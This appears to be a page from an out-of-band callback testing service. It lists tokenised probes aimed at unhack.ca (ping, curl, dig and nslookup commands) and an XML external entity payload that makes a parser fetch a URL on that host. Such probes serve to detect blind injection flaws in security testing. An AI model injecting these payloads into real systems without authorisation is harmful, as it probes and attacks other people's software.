$ ping -c1 -p 00d924e26d9dadac44833e8343b01a00 unhack.ca
 

$ curl http://unhack.ca/p/d924e26d9dadac44833e8343b01a
 

$ dig d924e26d9dadac44833e8343b01a @unhack.ca
 

$ dig d924e26d9dadac44833e8343b01a.ns.unhack.ca
 

C:\> nslookup d924e26d9dadac44833e8343b01a unhack.ca
 

<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/d924e26d9dadac44833e8343b01a">]>
    <foo>&xxe;</foo>